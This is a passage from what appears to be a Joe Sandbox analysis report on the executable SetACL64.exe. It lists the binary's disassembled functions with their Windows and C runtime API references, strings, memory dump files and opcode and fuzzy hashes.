Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17127A0
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C17127A6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1712944
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171294A

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID:
API String ID: 3936042273-0
Opcode ID: 4c107eee0b4e4811bc64223c6d6b2de02e59749188d4f6f301365c20f6b63f69
Instruction ID: 08ecbf9622531217438e87a6d9419f71eea05d9b0f2d1b641f7937fd4d942acd
Opcode Fuzzy Hash: 4c107eee0b4e4811bc64223c6d6b2de02e59749188d4f6f301365c20f6b63f69
Instruction Fuzzy Hash: 23719232B15B4589EB00AF66D4403ADA371EB58BA8FA05631DB6C137DAEFB8D190C350

Function 00007FF7C1763EF8 Relevance: 6.2, APIs: 4, Instructions: 159COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C1763F39
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C1763FB9
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C176400D
_get_daylight.LIBCMT ref: 00007FF7C1764065

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: c4ae961d942addcf2b134008d439d8ef08f12080ebcb94819dad5dfadd3a20b1
Instruction ID: 7d21e84ab38802357624a1afc25beee0000b3cf73c52503a83d56944a3ec8b2a
Opcode Fuzzy Hash: c4ae961d942addcf2b134008d439d8ef08f12080ebcb94819dad5dfadd3a20b1
Instruction Fuzzy Hash: 8851E332E0C22382F7257E2AD5043BAE5A0AB48734F998435DA4E476D7CEBDE850C761

Function 00007FF7C176AAE0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF7C176AB48
CloseHandle.KERNEL32 ref: 00007FF7C176AB55
CloseHandle.KERNEL32 ref: 00007FF7C176AB62
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C176ABC7

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CloseHandle$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2401491561-0
Opcode ID: 1486c1b8983b2ca0bcc84f6bab691d8d42c10c3cc9c104c01906a72530798f0a
Instruction ID: 28aa5466005889d6543f83b22887e9ad6df58ccd005a34f7668a279422931fc2
Opcode Fuzzy Hash: 1486c1b8983b2ca0bcc84f6bab691d8d42c10c3cc9c104c01906a72530798f0a
Instruction Fuzzy Hash: 14313365B15A4681FF04AF5BE854238A311AF8DBB4FD44531C94D0BBA6DFACE4D48330

Function 00007FF7C171EA60 Relevance: 6.0, APIs: 4, Instructions: 34synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF7C171EA79
ResetEvent.KERNEL32 ref: 00007FF7C171EABC
ReleaseMutex.KERNEL32 ref: 00007FF7C171EAC6
SetEvent.KERNEL32 ref: 00007FF7C171EAD0

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Event$MutexObjectReleaseResetSingleWait
String ID:
API String ID: 2375943032-0
Opcode ID: 7b46ffe4c5099b2b667e965cb1ff3ada34845c803c41c1e8d10894002ef2c070
Instruction ID: 28a54d9e8cf08c91a2d31f1d22cf4262ea7ad3317290fb848a3d6bf088e366d1
Opcode Fuzzy Hash: 7b46ffe4c5099b2b667e965cb1ff3ada34845c803c41c1e8d10894002ef2c070
Instruction Fuzzy Hash: 4B010C32614B4181DB04DF22E89433DB3A0FB88FA8F558131CA5D473A5DF78D895C350

Function 00007FF7C1701710 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

-log, xrefs: 00007FF7C1701850

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID: -log
API String ID: 0-56760616
Opcode ID: 1eecdd57994f2533d2a3b202c9ec56c7c722615268746318ca363c07f4b769d4
Instruction ID: 5ec2f9435d4525066b806709dd454c3978f4cb22b73b77eda6e8266ea2d44eaa
Opcode Fuzzy Hash: 1eecdd57994f2533d2a3b202c9ec56c7c722615268746318ca363c07f4b769d4
Instruction Fuzzy Hash: 1591AD32B15B4189EB04EFA6D4402AC73B1EB49BB8F804136DE1E57BDADE78E545C350

Function 00007FF7C1746EA8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7C1746ED2

Strings

csm, xrefs: 00007FF7C1746EF7
csm, xrefs: 00007FF7C1747066

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 140bdb4f9088bb5670319dceb203d8db25e3c3c3cfd3d3b344dc43606597f418
Instruction ID: d1e46890fca850b8e94c9f9f5ec8ac78006565f236b31f35af24adcd5b1292ec
Opcode Fuzzy Hash: 140bdb4f9088bb5670319dceb203d8db25e3c3c3cfd3d3b344dc43606597f418
Instruction Fuzzy Hash: 1171A332A0968186DB60AF26D49077DFBA1EB48FA4F948135EE8C47A86CB7CD451CF50

Function 00007FF7C17464E4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7C1746530

Strings

RCC, xrefs: 00007FF7C174654D
MOC, xrefs: 00007FF7C1746544

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 2b0c2825179cba656fd1c1b471b4941425bc7ec70a51c4e696d4729a40678a82
Instruction ID: e9f09080963b50715450cff7e6d005ed6faed860ad04c73ca17ca385ed5b6005
Opcode Fuzzy Hash: 2b0c2825179cba656fd1c1b471b4941425bc7ec70a51c4e696d4729a40678a82
Instruction Fuzzy Hash: 61515D36A08A45CAEB10DF66D0403ADB7A0F748B98F544536EF4D17B5ACFB8E055CB50

Function 00007FF7C173B313 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

\\?, xrefs: 00007FF7C173B342
?\UNC\, xrefs: 00007FF7C173B48A

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID: ?\UNC\$\\?
API String ID: 0-2035776247
Opcode ID: a4f302d2082b19bd39a44b1874956c81c3294110edb74e814a97884128a82e9b
Instruction ID: a6d3f08f65f2a67da4da06dd93c7ec09e81fc999e6a16071a96c04513bcf6d09
Opcode Fuzzy Hash: a4f302d2082b19bd39a44b1874956c81c3294110edb74e814a97884128a82e9b
Instruction Fuzzy Hash: B241AA62F1866681FF00EF66D0543BDA361EB187B8FC04132EE5D17AC6DEAC91808364

Function 00007FF7C174747C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7C1747526
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF7C1747552

Strings

csm, xrefs: 00007FF7C1747652

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: bff377e20215f6bbc56ca34a453ae38d57878f3cd995b74642c36c42e48d33ca
Instruction ID: 5222aa39ee3e7628234268a67a774a906819153e87d226d096a53d28da7b0175
Opcode Fuzzy Hash: bff377e20215f6bbc56ca34a453ae38d57878f3cd995b74642c36c42e48d33ca
Instruction Fuzzy Hash: 3E512676619645C6E760EF26A44026EB7A4FB88BA0F510134EB8D07B56CF7CE460CF51

Function 00007FF7C175294C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C175297E

Part of subcall function 00007FF7C1755054: HeapFree.KERNEL32(?,?,00007FF7C17534C7,00007FF7C1754ADC,?,?,?,00007FF7C1754E5F,?,?,000083BA01AAD97A,00007FF7C1755874,?,?,?,00007FF7C17557A7), ref: 00007FF7C175506A
Part of subcall function 00007FF7C1755054: GetLastError.KERNEL32(?,?,00007FF7C17534C7,00007FF7C1754ADC,?,?,?,00007FF7C1754E5F,?,?,000083BA01AAD97A,00007FF7C1755874,?,?,?,00007FF7C17557A7), ref: 00007FF7C175507C

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7C174226D), ref: 00007FF7C175299C

Strings

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe, xrefs: 00007FF7C175298A

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\SetACL64.exe
API String ID: 3580290477-3554785221
Opcode ID: aa599a36ba6a0968a49bd794e7a1571458fa8a1e1b45d82a3122116992cc5e68
Instruction ID: a1356fd6ae439a5a3df2b5f9625deb966a43ea792b96cad8ad5e2c382c99f218
Opcode Fuzzy Hash: aa599a36ba6a0968a49bd794e7a1571458fa8a1e1b45d82a3122116992cc5e68
Instruction Fuzzy Hash: B6416E32A08F52C5EB54FF2798501BCA6A5EB4C7A0F944035EE4E47B86DFBDE8458360

Function 00007FF7C175E6E0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7C175E7F7
GetLastError.KERNEL32 ref: 00007FF7C175E819

Strings

U, xrefs: 00007FF7C175E7A3

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: d59aa33b38612ae6739f83d51169c656099beb2d3f667978864e56d4317c1a25
Instruction ID: dfeb8015ee1ab7720ab240b9aca056197ed60d18646a561997388b452ce5ec5a
Opcode Fuzzy Hash: d59aa33b38612ae6739f83d51169c656099beb2d3f667978864e56d4317c1a25
Instruction Fuzzy Hash: 4441C532B1CA4182EB20EF26E4543A9E7A0FB987A4F944031EE4D87759DFBCE401C750

Function 00007FF7C175BED4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_handle_errorf.LIBCMT ref: 00007FF7C175C046

Strings

powf, xrefs: 00007FF7C175C03F
", xrefs: 00007FF7C175BFF1

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _handle_errorf
String ID: "$powf
API String ID: 2315412904-603753351
Opcode ID: 4c8a7104b5368009bc02c85030aff32139670d494d3475396f94041b1bf7d79b
Instruction ID: afce8507801c61c4889832d15bb86aee1fcbbf2ae83a8b61a0334076bf1394d8
Opcode Fuzzy Hash: 4c8a7104b5368009bc02c85030aff32139670d494d3475396f94041b1bf7d79b
Instruction Fuzzy Hash: 89414073D28A80DAD370DF22E4847AAB7A0F79A358F501326F74906999CBBDC5509B50

Function 00007FF7C173E1C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C175DE6C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C175DE8E

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173E2EA

Strings

wt, ccs=UNICODE, xrefs: 00007FF7C173E22D
rt, ccs=UNICODE, xrefs: 00007FF7C173E236

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_invalid_parameter_noinfo_noreturn
String ID: rt, ccs=UNICODE$wt, ccs=UNICODE
API String ID: 1705651295-2937027470
Opcode ID: 935450736d1db829583b36a6614573cb82d4dc60051ad41040f15e431cbeb578
Instruction ID: 7d4dbd86f01139f71333ada71e64ded4db46116d2ed06907f826213f4ea06539
Opcode Fuzzy Hash: 935450736d1db829583b36a6614573cb82d4dc60051ad41040f15e431cbeb578
Instruction Fuzzy Hash: B131A132A0CA4285EB50EF1AE49422DB360FB8C7A4FD04235E79D43A96DFBCE550C710

Function 00007FF7C171AAB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF7C171AAE9
LocalFree.KERNEL32 ref: 00007FF7C171AB87

Strings

asio.system error, xrefs: 00007FF7C171AB74

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: FormatFreeLocalMessage
String ID: asio.system error
API String ID: 1427518018-3828095645
Opcode ID: 10628e73ec9175718b0e5b4b763344832475aea0b876288d78f2d80f17bd1f45
Instruction ID: aba7e845cc51670b215a6866ac88bbeabb8147c2adcd4ddd3e10072bfc209aa7
Opcode Fuzzy Hash: 10628e73ec9175718b0e5b4b763344832475aea0b876288d78f2d80f17bd1f45
Instruction Fuzzy Hash: 77214C72608BD182FB249F16A540329BAA6F749BE0F944235DB9903B95CFBCD4A18B50

Function 00007FF7C175BDB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF7C175BEC2

Strings

pow, xrefs: 00007FF7C175BEB1
", xrefs: 00007FF7C175BE9B

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: 1ec19b026a6bd8f63a67ca0b1a3ee6df7a61ad1018684fb431e5833eb4d51299
Instruction ID: 3a8420ad437e6787615b917bab49964a1649eb53d7bfa173f2f292a7007da3f8
Opcode Fuzzy Hash: 1ec19b026a6bd8f63a67ca0b1a3ee6df7a61ad1018684fb431e5833eb4d51299
Instruction Fuzzy Hash: 54316B72D18E8486D770DF21E04467AEAA1FBDE354F641326F78906A55CBBDD0819B10

Function 00007FF7C173CE00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60timeCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF7C173CEAA
GetLocalTime.KERNEL32 ref: 00007FF7C173CED1

Strings

%04d-%02d-%02d %02d-%02d-%02d-%03d, xrefs: 00007FF7C173CED7

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CloseHandleLocalTime
String ID: %04d-%02d-%02d %02d-%02d-%02d-%03d
API String ID: 655981579-2017722003
Opcode ID: daa5ccae675e1664e87c3d862e659ce2e173f1fd8162f8e579eca52e1a44dbca
Instruction ID: 8ac8b3757bfe87c23dd5455c25451036eb6c2011ddf18be39493c3ac4749bffa
Opcode Fuzzy Hash: daa5ccae675e1664e87c3d862e659ce2e173f1fd8162f8e579eca52e1a44dbca
Instruction Fuzzy Hash: 0A31C532A14B8199E7109F71E8807DC7BB4FB4479CF605128EE8927B29DF7892A6D344

Function 00007FF7C175A688 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_set_errno_from_matherr.LIBCMT ref: 00007FF7C175A734
_set_errno_from_matherr.LIBCMT ref: 00007FF7C175A748

Strings

exp, xrefs: 00007FF7C175A6AF

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _set_errno_from_matherr
String ID: exp
API String ID: 1187470696-113136155
Opcode ID: d9922d9e5b80ecf97583ad5356538061466fbce9c40230637d87b0462a7541d6
Instruction ID: a90f040fb0185a879e8ddabd96edc5b1f97f2ee4d48f5979fe2450b2a3c2f141
Opcode Fuzzy Hash: d9922d9e5b80ecf97583ad5356538061466fbce9c40230637d87b0462a7541d6
Instruction Fuzzy Hash: 44211036A19A45CBDB60EF29A45016AB7B0FB8D310F905535F68D82B56DF7CD4408F20

Function 00007FF7C17580C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7C17580FD
LCMapStringW.KERNEL32 ref: 00007FF7C1758185

Strings

LCMapStringEx, xrefs: 00007FF7C17580F1

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 87cf0034b0fcd9c54c61c9bab6167fa2d33436d6331be54f9b1c0558e02e15ee
